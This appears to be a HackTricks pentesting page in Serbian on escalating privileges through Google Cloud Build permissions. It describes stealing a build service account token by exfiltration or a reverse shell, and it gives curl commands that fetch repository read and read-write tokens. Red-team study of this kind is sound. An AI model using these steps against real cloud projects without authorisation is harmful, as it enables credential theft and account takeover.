GCP - Cloudbuild Privesc

Reading time: 3 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

cloudbuild

Za više informacija o Cloud Build, proverite:

GCP - Cloud Build Enum

cloudbuild.builds.create, iam.serviceAccounts.actAs

Sa ovom dozvolom možete podneti cloud build. Cloudbuild mašina će imati u svom fajl sistemu po defaultu token cloudbuild Service Account-a: <PROJECT_NUMBER>@cloudbuild.gserviceaccount.com. Međutim, možete navesti bilo koji servisni nalog unutar projekta u cloudbuild konfiguraciji.
Stoga, možete jednostavno naterati mašinu da exfiltrira token na vaš server ili dobiti reverznu ljusku unutar nje i dobiti token (fajl koji sadrži token može se promeniti).

Možete pronaći originalni exploit skript ovde na GitHub-u (ali lokacija sa koje uzima token nije radila za mene). Stoga, proverite skript za automatizaciju kreiranja, eksploatacije i čišćenja ranjivog okruženja ovde i python skript za dobijanje reverzne ljuske unutar cloudbuild mašine i krađu ovde (u kodu možete pronaći kako da navedete druge servisne naloge).

Za detaljnije objašnjenje, posetite https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/

cloudbuild.builds.update

Potencijalno sa ovom dozvolom bićete u mogućnosti da ažurirate cloud build i jednostavno ukradete token servisnog naloga kao što je to učinjeno sa prethodnom dozvolom (ali nažalost u vreme pisanja ovog teksta nisam mogao pronaći način da pozovem taj API).

TODO

cloudbuild.repositories.accessReadToken

Sa ovom dozvolom korisnik može dobiti token za čitanje koji se koristi za pristup repozitorijumu:

bash
curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadToken"

cloudbuild.repositories.accessReadWriteToken

Sa ovom dozvolom korisnik može dobiti token za čitanje i pisanje koji se koristi za pristup repozitorijumu:

bash
curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadWriteToken"

cloudbuild.connections.fetchLinkableRepositories

Sa ovom dozvolom možete dobiti repozitorijume kojima konekcija ima pristup:

bash
curl -X GET \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>:fetchLinkableRepositories"

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks